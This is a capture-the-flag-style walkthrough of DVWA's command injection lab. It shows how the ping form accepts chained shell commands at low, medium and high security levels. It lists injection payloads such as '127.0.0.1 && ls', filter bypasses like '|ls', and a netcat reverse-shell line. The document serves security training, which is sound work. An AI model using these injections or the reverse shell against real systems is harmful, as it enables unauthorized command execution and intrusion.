

Command Execution Walkthrough on DVWA



Some websites allow you to execute commands through a web interface typically to generate some reports. The DVWA provides a command execution module which you can use to ping IP addresses. We are to find a way to execute other commands from the same text box.

- Home
- Instructions
- Setup / Reset DB
- Brute Force
- Command Injection**
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.051 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.057 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.062 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.066 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3074ms  
rtt min/avg/max/mdev = 0.051/0.059/0.066/0.005 ms
```

“

You should be on Kali Linux or Parrot OS in VMWARE, Virtual Box or running natively on your PC

Low-difficulty DVWA Command Execution

Step- 1

- ❖ Go to DVWA security settings and set the difficulty to low



The screenshot shows the DVWA Security settings page. On the left is a navigation menu with buttons for Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), and XSS (Stored). The main content area is titled "DVWA Security" with a lock icon. Below the title is the "Security Level" section, which states "Security level is currently: low." and provides instructions on how to change the level. A list of four levels is provided: 1. Low (completely vulnerable), 2. Medium (bad security practices), 3. High (harder or all practices), and 4. Impossible (secure against all vulnerabilities). A red box highlights the "Low" dropdown menu and the "Submit" button.

DVWA Security

Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**, as an example of how web application vulnerabilities manifest through bad coding practices as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices** a developer has tried but failed to secure an application. It also acts as a challenge to user exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or all practices** to attempt to secure the code. The vulnerability may not allow the same extent of exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare source code to the secure source code.
Prior to DVWA v1.9, this level was known as 'high'.

Step- 2

- ❖ We can use multiple ways to execute commands in the same text box. The following commands will work fine and will execute. You can see that, we can even get a reverse shell (last example)

```
127.0.0.1 && ls
```

```
127.0.0.1 & ls
```

```
127.0.0.1 ; ls
```

```
127.0.0.1 | ls
```

```
127.0.0.1 && nc -c sh 127.0.0.1 9001
```

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.089 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.037 ms
```

```
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3056ms  
rtt min/avg/max/mdev = 0.037/0.057/0.089/0.019 ms
```

```
help  
index.php  
source
```

Medium-difficulty DVWA Command Execution

Medium Difficulty

- ❖ Some type of input sanitization is being performed and `&` and `;` are blacklisted, but we can still use the following commands

```
127.0.0.1 | ls
```

Ping a device

Enter an IP address:

High-difficulty DVWA Command Execution

High Difficulty

- ❖ Even | is blacklisted but there is a typo and a space is there we can enter it without space to get the result

```
127.0.0.1 |ls
```

Vulnerability: Command Injection

Ping a device

Enter an IP address:



THANKS